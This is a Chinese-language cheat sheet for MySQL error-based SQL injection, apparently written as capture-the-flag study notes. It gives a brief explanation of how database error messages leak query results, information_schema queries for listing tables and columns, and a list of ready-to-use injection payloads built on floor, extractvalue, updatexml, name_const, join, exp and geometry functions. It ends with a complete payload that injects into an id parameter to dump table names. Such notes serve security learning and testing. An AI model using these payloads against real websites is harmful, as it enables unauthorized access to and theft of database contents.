0x01[漏洞原理]

  • 利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
  • print_r(mysql_error())可以将sql查询时发生的错误打印出来,这是报错注入的前提条件

0x02[语句利用]

  • 查询表
select group_concat(table_name) from information_schema.tables where table_schema=database()
  • 查询列
select group_concat(column_name) from information_schema.columns where table_name=''
  • 查询字段内容
select group_concat(xxx) from xxx

floor
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)-- -
ExtractValue[最大长度限制32位.常用]
and extractvalue(1, concat(0x5c, (select version() limit 1)))-- -
UpdateXml[最大长度限制32位,常用]
and updatexml(1,concat(0x3a,(select user())),1)-- -
# 0x3a是冒号的16进制编码
NAME_CONST[在一些高版本的mysql中只能获取version(), 5.0.12<=的旧版本]
and (select * from (select name_const(version(),1),name_const(version(),1))a)-- -
join[爆字段名或者无列名注入]
and (select * from(select * from flag a join flag b using(f14g))c)-- -
# 原理是在使用别名的时候,表中不能出现相同的字段名。利用join把表扩充成两份,在最后别名c的时候查询到重复字段,就成功报错.
# using(已知列名)---用于爆其他列名,可不要
exp
and exp(~(select * from (select user())a))-- -
geometrycollection()
and geometrycollection((select * from(select * from(select user())a)b))-- -
polygon()
and polygon((select * from(select * from(select user())a)b))-- -
multipoint()
and multipoint((select * from(select * from(select user())a)b))-- -
multilinestring()
and multilinestring((select * from(select * from(select user())a)b))-- -
multipolygon()
and multipolygon((select * from(select * from(select user())a)b))-- -
linestring()
and linestring((select * from(select * from(select user())a)b))-- -

0x03[常用Payload]

id=1'||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#